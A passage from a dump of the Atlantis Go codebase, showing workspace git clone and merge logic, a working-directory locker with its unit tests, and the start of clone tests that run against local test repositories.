exec.Command(\"git\", args...) // nolint: gosec\n\tcmd.Dir = c.dir\n\t// The git merge command requires these env vars are set.\n\tcmd.Env = append(os.Environ(), []string{\n\t\t\"EMAIL=atlantis@runatlantis.io\",\n\t\t\"GIT_AUTHOR_NAME=atlantis\",\n\t\t\"GIT_COMMITTER_NAME=atlantis\",\n\t}...)\n\tcmdStr := w.sanitizeGitCredentials(strings.Join(cmd.Args, \" \"), c.pr.BaseRepo, c.head)\n\toutput, err := cmd.CombinedOutput()\n\tsanitizedOutput := w.sanitizeGitCredentials(string(output), c.pr.BaseRepo, c.head)\n\tif err != nil {\n\t\tsanitizedErrMsg := w.sanitizeGitCredentials(err.Error(), c.pr.BaseRepo, c.head)\n\t\treturn fmt.Errorf(\"running %s: %s: %s\", cmdStr, sanitizedOutput, sanitizedErrMsg)\n\t}\n\tlogger.Debug(\"ran: %s. Output: %s\", cmdStr, strings.TrimSuffix(sanitizedOutput, \"\\n\"))\n\treturn nil\n}\n\n// Merge the PR into the base branch.\n// Locks are acquired by the caller.\nfunc (w *FileWorkspace) mergeToBaseBranch(logger logging.SimpleLogging, c wrappedGitContext) error {\n\tfetchRef := fmt.Sprintf(\"+refs/heads/%s:\", c.pr.HeadBranch)\n\tfetchRemote := prSourceRemote\n\tif w.GithubAppEnabled && c.pr.Num > 0 {\n\t\tfetchRef = fmt.Sprintf(\"pull/%d/head:\", c.pr.Num)\n\t\tfetchRemote = \"origin\"\n\t}\n\n\t// if no checkout depth, omit depth arg\n\tif w.CheckoutDepth == 0 {\n\t\tif err := w.wrappedGit(logger, c, \"fetch\", fetchRemote, fetchRef); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err := w.wrappedGit(logger, c, \"fetch\", \"--depth\", fmt.Sprint(w.CheckoutDepth), fetchRemote, fetchRef); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := w.wrappedGit(logger, c, \"merge-base\", c.pr.BaseBranch, \"FETCH_HEAD\"); err != nil {\n\t\t// git merge-base returning error means that we did not receive enough commits in shallow clone.\n\t\t// Fall back to retrieving full repo history.\n\t\tif err := w.wrappedGit(logger, c, \"fetch\", \"--unshallow\"); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// fetch once more, otherwise `FETCH_HEAD` was reset to base when we ran\n\t\t// fetch --unshallow\n\t\tif err := w.wrappedGit(logger, c, \"fetch\", fetchRemote, fetchRef); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// We use --no-ff because we always want there to be a merge commit.\n\t// This way, our branch will look the same regardless if the merge\n\t// could be fast forwarded. This is useful later when we run\n\t// git rev-parse HEAD^2 to get the head commit because it will\n\t// always succeed whereas without --no-ff, if the merge was fast\n\t// forwarded then git rev-parse HEAD^2 would fail.\n\treturn w.wrappedGit(logger, c, \"merge\", \"-q\", \"--no-ff\", \"-m\", \"atlantis-merge\", \"FETCH_HEAD\")\n}\n\n// GetWorkingDir returns the path to the workspace for this repo and pull.\nfunc (w *FileWorkspace) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) {\n\trepoDir := w.cloneDir(r, p, workspace)\n\tif _, err := os.Stat(repoDir); err != nil {\n\t\treturn \"\", fmt.Errorf(\"checking if workspace exists: %w\", err)\n\t}\n\treturn repoDir, nil\n}\n\n// GetPullDir returns the dir where the workspaces for this pull are cloned.\n// If the dir doesn't exist it will return an error.\nfunc (w *FileWorkspace) GetPullDir(r models.Repo, p models.PullRequest) (string, error) {\n\tdir := w.repoPullDir(r, p)\n\tif _, err := os.Stat(dir); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn dir, nil\n}\n\n// Delete deletes the workspace for this repo and pull.\nfunc (w *FileWorkspace) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error {\n\trepoPullDir := w.repoPullDir(r, p)\n\tlogger.Info(\"Deleting repo pull directory: \" + repoPullDir)\n\treturn os.RemoveAll(repoPullDir)\n}\n\n// DeleteForWorkspace deletes the working dir for this workspace.\nfunc (w *FileWorkspace) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error {\n\tworkspaceDir := w.cloneDir(r, p, workspace)\n\tlogger.Info(\"Deleting workspace directory: \" + workspaceDir)\n\treturn os.RemoveAll(workspaceDir)\n}\n\nfunc (w *FileWorkspace) repoPullDir(r models.Repo, p models.PullRequest) string {\n\treturn filepath.Join(w.DataDir, workingDirPrefix, r.FullName, strconv.Itoa(p.Num))\n}\n\nfunc (w *FileWorkspace) cloneDir(r models.Repo, p models.PullRequest, workspace string) string {\n\treturn filepath.Join(w.repoPullDir(r, p), workspace)\n}\n\n// sanitizeGitCredentials replaces any git clone urls that contain credentials\n// in s with the sanitized versions.\nfunc (w *FileWorkspace) sanitizeGitCredentials(s string, base models.Repo, head models.Repo) string {\n\tbaseReplaced := strings.ReplaceAll(s, base.CloneURL, base.SanitizedCloneURL)\n\treturn strings.ReplaceAll(baseReplaced, head.CloneURL, head.SanitizedCloneURL)\n}\n\n// Set the flag that indicates we need to check for upstream changes (if using merge checkout strategy)\nfunc (w *FileWorkspace) SetCheckForUpstreamChanges() {\n\tw.CheckForUpstreamChanges = true\n}\n\nfunc (w *FileWorkspace) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, projectPath string, projectName string) error {\n\tplanPath := filepath.Join(w.cloneDir(r, p, workspace), projectPath, runtime.GetPlanFilename(workspace, projectName))\n\tlogger.Info(\"Deleting plan: \" + planPath)\n\treturn utils.RemoveIgnoreNonExistent(planPath)\n}\n\n// getGitUntrackedFiles returns a list of Git untracked files in the working dir.\nfunc (w *FileWorkspace) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) {\n\tworkingDir, err := w.GetWorkingDir(r, p, workspace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogger.Debug(\"Checking for Git untracked files in directory: '%s'\", workingDir)\n\tcmd := exec.Command(\"git\", \"ls-files\", \"--others\", \"--exclude-standard\")\n\tcmd.Dir = workingDir\n\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuntrackedFiles := strings.Split(string(output), \"\\n\")[:]\n\tlogger.Debug(\"Untracked files: '%s'\", strings.Join(untrackedFiles, \",\"))\n\treturn untrackedFiles, nil\n}\n\n// gitWriteLock acquires an exclusive lock for clone/reset/merge in the given clone dir.\n// Callers must call the returned function to release the lock.\nfunc (w *FileWorkspace) gitWriteLock(cloneDir string) func() {\n\tkey := fmt.Sprintf(\"repo-lock/%s\", cloneDir)\n\tvalue, _ := gitLocks.LoadOrStore(key, new(sync.RWMutex))\n\tmu := value.(*sync.RWMutex)\n\tmu.Lock()\n\treturn func() { mu.Unlock() }\n}\n\n// GitReadLock acquires a shared lock so that clone/reset/merge (write lock) cannot run\n// while steps are using the working dir. Call the returned function when steps are done.\nfunc (w *FileWorkspace) GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() {\n\treturn w.gitReadLock(w.cloneDir(r, p, workspace))\n}\n\n// gitReadLock acquires the same shared lock as GitReadLock but by workspace dir path.\n// Used when only the workspace directory path is available.\nfunc (w *FileWorkspace) gitReadLock(workspaceDir string) func() {\n\tkey := fmt.Sprintf(\"repo-lock/%s\", workspaceDir)\n\tvalue, _ := gitLocks.LoadOrStore(key, new(sync.RWMutex))\n\tmu := value.(*sync.RWMutex)\n\tmu.RLock()\n\treturn func() { mu.RUnlock() }\n}\n\n// gitRefLock acquires an exclusive lock for ref update operations.\n// It is separate from the repo read lock to allow for concurrent repo read operations\n// and not introduce unnecessary latency.\nfunc (w *FileWorkspace) gitRefLock(workspaceDir string) func() {\n\tkey := fmt.Sprintf(\"ref-lock/%s\", workspaceDir)\n\tvalue, _ := gitLocks.LoadOrStore(key, new(sync.Mutex))\n\tmu := value.(*sync.Mutex)\n\tmu.Lock()\n\treturn func() { mu.Unlock() }\n}\n"
  },
  {
    "path": "server/events/working_dir_locker.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_working_dir_locker.go WorkingDirLocker\n\n// WorkingDirLocker is used to prevent multiple commands from executing\n// at the same time for a single repo, pull, and workspace. We need to prevent\n// this from happening because a specific repo/pull/workspace has a single workspace\n// on disk and we haven't written Atlantis (yet) to handle concurrent execution\n// within this workspace.\ntype WorkingDirLocker interface {\n\t// TryLock tries to acquire a lock for this repo, pull, workspace, and path.\n\t// It returns a function that should be used to unlock the workspace and\n\t// an error if the workspace is already locked. The error is expected to\n\t// be printed to the pull request.\n\tTryLock(repoFullName string, pullNum int, workspace string, path string, projectName string, cmdName command.Name) (func(), error)\n\t// UnlockByPull unlocks all workspaces for a specific pull request\n\tUnlockByPull(repoFullName string, pullNum int)\n}\n\n// DefaultWorkingDirLocker implements WorkingDirLocker.\ntype DefaultWorkingDirLocker struct {\n\t// mutex prevents against multiple threads calling functions on this struct\n\t// concurrently. It's only used for entry/exit to each function.\n\tmutex sync.Mutex\n\t// locks is a map of workspaces showing the name of the command locking it\n\tlocks map[string]command.Name\n}\n\n// NewDefaultWorkingDirLocker is a constructor.\nfunc NewDefaultWorkingDirLocker() *DefaultWorkingDirLocker {\n\treturn &DefaultWorkingDirLocker{locks: make(map[string]command.Name)}\n}\n\nfunc (d *DefaultWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string, projectName string, cmdName command.Name) (func(), error) {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tworkspaceKey := d.workspaceKey(repoFullName, pullNum, workspace, path, projectName)\n\tif currentLock, exists := d.locks[workspaceKey]; exists {\n\t\treturn func() {}, fmt.Errorf(\"cannot run %q: the %s workspace at path %s is currently locked for this pull request by %q.\\n\"+\n\t\t\t\"Wait until the previous command is complete and try again\", cmdName, workspace, path, currentLock)\n\t}\n\td.locks[workspaceKey] = cmdName\n\treturn func() {\n\t\td.unlock(repoFullName, pullNum, workspace, path, projectName)\n\t}, nil\n}\n\n// UnlockByPull unlocks all workspaces for a specific pull request\nfunc (d *DefaultWorkingDirLocker) UnlockByPull(repoFullName string, pullNum int) {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\t// Find and remove all locks for this pull request\n\tprefix := fmt.Sprintf(\"%s/%d/\", repoFullName, pullNum)\n\tfor key := range d.locks {\n\t\tif strings.HasPrefix(key, prefix) {\n\t\t\tdelete(d.locks, key)\n\t\t}\n\t}\n}\n\n// Unlock unlocks the workspace for this pull.\nfunc (d *DefaultWorkingDirLocker) unlock(repoFullName string, pullNum int, workspace string, path string, projectName string) {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tworkspaceKey := d.workspaceKey(repoFullName, pullNum, workspace, path, projectName)\n\tdelete(d.locks, workspaceKey)\n}\n\nfunc (d *DefaultWorkingDirLocker) workspaceKey(repo string, pull int, workspace string, path string, projectName string) string {\n\treturn strings.TrimRight(fmt.Sprintf(\"%s/%d/%s/%s/%s\", repo, pull, workspace, path, projectName), \"/\")\n}\n"
  },
  {
    "path": "server/events/working_dir_locker_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar repo = \"repo/owner\"\nvar workspace = \"default\"\nvar path = \".\"\nvar projectName = \"testProjectName\"\nvar cmd = command.Plan\n\nfunc TestTryLock(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\t// The first lock should succeed.\n\tunlockFn, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\n\t// Now another lock for the same repo, workspace, projectName and pull should fail\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, command.Apply)\n\tErrEquals(t, \"cannot run \\\"apply\\\": the default workspace at path . is currently locked for this pull request by \\\"plan\\\".\\n\"+\n\t\t\"Wait until the previous command is complete and try again\", err)\n\n\t// Unlock should work.\n\tunlockFn()\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n}\n\nfunc TestTryLockSameCommand(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\t// The first lock should succeed.\n\tunlockFn, err := locker.TryLock(repo, 1, workspace, path, projectName, command.Import)\n\tOk(t, err)\n\n\t// Now another lock for the same repo, workspace, projectName and pull should fail\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, command.Import)\n\tErrEquals(t, \"cannot run \\\"import\\\": the default workspace at path . is currently locked for this pull request by \\\"import\\\".\\n\"+\n\t\t\"Wait until the previous command is complete and try again\", err)\n\n\t// Unlock should work.\n\tunlockFn()\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n}\n\nfunc TestTryLockDifferentWorkspaces(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\tt.Log(\"a lock for the same repo and pull but different workspace should succeed\")\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\t_, err = locker.TryLock(repo, 1, \"new-workspace\", path, projectName, cmd)\n\tOk(t, err)\n\n\tt.Log(\"and both should now be locked\")\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tAssert(t, err != nil, \"exp err\")\n\t_, err = locker.TryLock(repo, 1, \"new-workspace\", path, projectName, cmd)\n\tAssert(t, err != nil, \"exp err\")\n}\n\nfunc TestTryLockDifferentRepo(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\tt.Log(\"a lock for a different repo but the same workspace and pull should succeed\")\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\tnewRepo := \"owner/newrepo\"\n\t_, err = locker.TryLock(newRepo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\n\tt.Log(\"and both should now be locked\")\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n\t_, err = locker.TryLock(newRepo, 1, workspace, path, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n}\n\nfunc TestTryLockDifferentPulls(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\tt.Log(\"a lock for a different pull but the same repo, workspace, projectName should succeed\")\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\tnewPull := 2\n\t_, err = locker.TryLock(repo, newPull, workspace, path, projectName, cmd)\n\tOk(t, err)\n\n\tt.Log(\"and both should now be locked\")\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n\t_, err = locker.TryLock(repo, newPull, workspace, path, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n}\n\nfunc TestTryLockDifferentPaths(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\tt.Log(\"a lock for a different path but the same repo, pull, projectName and workspace should succeed\")\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\tnewPath := \"new-path\"\n\t_, err = locker.TryLock(repo, 1, workspace, newPath, projectName, cmd)\n\tOk(t, err)\n\n\tt.Log(\"and both should now be locked\")\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n\t_, err = locker.TryLock(repo, 1, workspace, newPath, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n}\n\nfunc TestTryLockDifferentProjectNames(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\tt.Log(\"a lock for a different projectName but the same repo, pull, path and workspace should succeed\")\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\tnewProjectName := \"new-project\"\n\t_, err = locker.TryLock(repo, 1, workspace, path, newProjectName, cmd)\n\tOk(t, err)\n\n\tt.Log(\"and both should now be locked\")\n\t_, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n\t_, err = locker.TryLock(repo, 1, workspace, path, newProjectName, cmd)\n\tErrContains(t, \"currently locked\", err)\n}\n\nfunc TestUnlock(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\n\tt.Log(\"unlocking should work\")\n\tunlockFn, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\tunlockFn()\n\t_, err = locker.TryLock(repo, 1, workspace, \"\", projectName, cmd)\n\tOk(t, err)\n}\n\nfunc TestUnlockDifferentWorkspaces(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\tt.Log(\"unlocking should work for different workspaces\")\n\tunlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err1)\n\tunlockFn2, err2 := locker.TryLock(repo, 1, \"new-workspace\", path, projectName, cmd)\n\tOk(t, err2)\n\tunlockFn1()\n\tunlockFn2()\n\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\t_, err = locker.TryLock(repo, 1, \"new-workspace\", path, projectName, cmd)\n\tOk(t, err)\n}\n\nfunc TestUnlockDifferentRepos(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\tt.Log(\"unlocking should work for different repos\")\n\tunlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err1)\n\tnewRepo := \"owner/newrepo\"\n\tunlockFn2, err2 := locker.TryLock(newRepo, 1, workspace, path, projectName, cmd)\n\tOk(t, err2)\n\tunlockFn1()\n\tunlockFn2()\n\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\t_, err = locker.TryLock(newRepo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n}\n\nfunc TestUnlockDifferentPulls(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\tt.Log(\"unlocking should work for different pulls\")\n\tunlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err1)\n\tnewPull := 2\n\tunlockFn2, err2 := locker.TryLock(repo, newPull, workspace, path, projectName, cmd)\n\tOk(t, err2)\n\tunlockFn1()\n\tunlockFn2()\n\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\t_, err = locker.TryLock(repo, newPull, workspace, path, projectName, cmd)\n\tOk(t, err)\n}\n\nfunc TestUnlockDifferentProjectNames(t *testing.T) {\n\tlocker := events.NewDefaultWorkingDirLocker()\n\tt.Log(\"unlocking should work for different projects\")\n\tunlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err1)\n\tnewProjectName := \"new-project\"\n\tunlockFn2, err2 := locker.TryLock(repo, 1, workspace, path, newProjectName, cmd)\n\tOk(t, err2)\n\tunlockFn1()\n\tunlockFn2()\n\n\t_, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd)\n\tOk(t, err)\n\t_, err = locker.TryLock(repo, 1, workspace, path, newProjectName, cmd)\n\tOk(t, err)\n}\n"
  },
  {
    "path": "server/events/working_dir_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// disableSSLVerification disables ssl verification for the global http client\n// and returns a function to be called in a defer that will re-enable it.\nfunc disableSSLVerification() func() {\n\torig := http.DefaultTransport.(*http.Transport).TLSClientConfig\n\t// nolint: gosec\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\treturn func() {\n\t\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = orig\n\t}\n}\n\n// Test that if we don't have any existing files, we check out the repo.\nfunc TestClone_NoneExisting(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\texpCommit := runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\")\n\n\tdataDir := t.TempDir()\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               false,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD\")\n\tEquals(t, expCommit, actCommit)\n}\n\n// Test running on main branch with merge strategy\nfunc TestClone_MainBranchWithMergeStrategy(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\texpCommit := runCmd(t, repoDir, \"git\", \"rev-parse\", \"main\")\n\n\tdataDir := t.TempDir()\n\n\tlogger := logging.NewNoopLogger(t)\n\n\toverrideURL := fmt.Sprintf(\"file://%s\", repoDir)\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tTestingOverrideHeadCloneURL: overrideURL,\n\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\t_, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tNum:        0,\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Create a file that we can use to check if the repo was recloned.\n\trunCmd(t, dataDir, \"touch\", \"repos/0/default/proof\")\n\n\t// re-clone to make sure we don't try to merge main into itself\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD\")\n\tEquals(t, expCommit, actCommit)\n\n\t// Check that our proof file is still there, proving that we didn't reclone.\n\t_, err = os.Stat(filepath.Join(cloneDir, \"proof\"))\n\tOk(t, err)\n}\n\n// Test that if we don't have any existing files, we check out the repo\n// successfully when we're using the merge method.\nfunc TestClone_CheckoutMergeNoneExisting(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// Add a commit to branch 'branch' that's not on main.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"branch-commit\")\n\tbranchCommit := runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\")\n\n\t// Now switch back to main and advance the main branch by another\n\t// commit.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"touch\", \"main-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"main-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"main-commit\")\n\tmainCommit := runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\")\n\n\t// Finally, perform a merge in another branch ourselves, just so we know\n\t// what the final state of the repo should be.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"-b\", \"mergetest\")\n\trunCmd(t, repoDir, \"git\", \"merge\", \"-m\", \"atlantis-merge\", \"branch\")\n\texpLsOutput := runCmd(t, repoDir, \"ls\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\tdataDir := t.TempDir()\n\n\toverrideURL := fmt.Sprintf(\"file://%s\", repoDir)\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tCheckoutDepth:               50,\n\t\tTestingOverrideHeadCloneURL: overrideURL,\n\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Check the commits.\n\tactBaseCommit := runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD~1\")\n\tactHeadCommit := runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD^2\")\n\tEquals(t, mainCommit, actBaseCommit)\n\tEquals(t, branchCommit, actHeadCommit)\n\n\t// Use ls to verify the repo looks good.\n\tactLsOutput := runCmd(t, cloneDir, \"ls\")\n\tEquals(t, expLsOutput, actLsOutput)\n}\n\n// Test that if we're using the merge method and the repo is already cloned at\n// the right commit, then we don't reclone.\nfunc TestClone_CheckoutMergeNoReclone(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// Add a commit to branch 'branch' that's not on main.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"branch-commit\")\n\n\t// Now switch back to main and advance the main branch by another commit.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"touch\", \"main-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"main-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"main-commit\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\t// Run the clone for the first time.\n\tdataDir := t.TempDir()\n\toverrideURL := fmt.Sprintf(\"file://%s\", repoDir)\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tCheckoutDepth:               50,\n\t\tTestingOverrideHeadCloneURL: overrideURL,\n\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\t_, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Create a file that we can use to check if the repo was recloned.\n\trunCmd(t, dataDir, \"touch\", \"repos/0/default/proof\")\n\n\t// Now run the clone again.\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Check that our proof file is still there, proving that we didn't reclone.\n\t_, err = os.Stat(filepath.Join(cloneDir, \"proof\"))\n\tOk(t, err)\n}\n\n// Same as TestClone_CheckoutMergeNoReclone however the branch that gets\n// merged is a fast-forward merge. See #584.\nfunc TestClone_CheckoutMergeNoRecloneFastForward(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// Add a commit to branch 'branch' that's not on main.\n\t// This will result in a fast-forwardable merge.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"branch-commit\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\t// Run the clone for the first time.\n\tdataDir := t.TempDir()\n\toverrideURL := fmt.Sprintf(\"file://%s\", repoDir)\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tCheckoutDepth:               50,\n\t\tTestingOverrideHeadCloneURL: 